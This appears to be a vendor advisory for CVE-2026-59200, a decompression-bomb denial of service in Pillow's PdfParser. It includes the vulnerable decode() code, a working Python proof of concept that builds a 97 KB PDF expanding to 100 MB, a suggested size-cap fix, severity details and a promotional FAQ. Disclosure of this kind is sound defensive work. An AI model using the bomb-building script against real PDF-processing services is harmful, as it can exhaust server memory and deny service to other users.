CVE-2026-59200

Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()

# PIL/PdfParser.py, PdfStream.decode()
class PdfStream:
    def decode(self) -> bytes:
        try:
            filter = self.dictionary[b"Filter"]
        except KeyError:
            return self.buf
        if filter == b"FlateDecode":
            try:
                expected_length = self.dictionary[b"DL"]
            except KeyError:
                expected_length = self.dictionary[b"Length"]
            return zlib.decompress(self.buf, bufsize=int(expected_length))
            #                               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            #  bufsize is an *initial buffer hint*, NOT a maximum size limit.
            #  zlib.decompress() allocates as much memory as needed regardless.

with PdfParser.PdfParser("evil.pdf") as pdf:
    stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)
    data = stream_obj.decode()   # ← OOM here

import zlib, tempfile, os, time
from PIL import PdfParser

# Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)
EXPAND_MB = 100
raw = b'\x00' * (EXPAND_MB * 1_000_000)
compressed = zlib.compress(raw, level=9)   # ~97 KB

buf = b'%PDF-1.4\n'
o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n'
o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n'
o3 = len(buf)
hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode()
buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n'
xref = len(buf)
buf += b'xref\n0 4\n0000000000 65535 f \n'
for off in [o1, o2, o3]:
    buf += f'{off:010d} 00000 n \n'.encode()
buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'

print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)")

with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:
    f.write(buf); tmpname = f.name

with PdfParser.PdfParser(tmpname) as pdf:
    obj, _ = pdf.get_value(pdf.buf, o3)
    t = time.time()
    decoded = obj.decode()
    print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s")

os.unlink(tmpname)

PDF size: 97,538 bytes (95.3 KB)
Decoded: 100,000,000 bytes in 0.265s

This is a denial-of-service vulnerability. Any application that uses PIL.PdfParser.PdfParser to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.

Note: This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion PIL/PdfImagePlugin.py decompression issue. It exists specifically in Pillow's own PdfParser.py module, which is distinct from pdfminer.six.

Suggested fix:

MAX_DECOMPRESS_BYTES = 200 * 1024 * 1024  # 200 MB cap

def decode(self) -> bytes:
    ...
    if filter == b"FlateDecode":
        ...
        result = zlib.decompress(self.buf, bufsize=int(expected_length))
        if len(result) > MAX_DECOMPRESS_BYTES:
            msg = "Decompressed stream exceeds maximum allowed size"
            raise ValueError(msg)
        return result

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-59200 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (12.3.0); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

1. What is CVE-2026-59200? CVE-2026-59200 is a high-severity uncontrolled resource consumption vulnerability in Pillow (pip), affecting versions >= 5.1.0, < 12.3.0. It is fixed in 12.3.0. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2026-59200? CVE-2026-59200 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of Pillow are affected by CVE-2026-59200? Pillow (pip) versions >= 5.1.0, < 12.3.0 is affected.
4. Is there a fix for CVE-2026-59200? Yes. CVE-2026-59200 is fixed in 12.3.0. Upgrade to this version or later.
5. Is CVE-2026-59200 exploitable, and should I be worried? Whether CVE-2026-59200 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-59200 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-59200? Upgrade Pillow to 12.3.0 or later.

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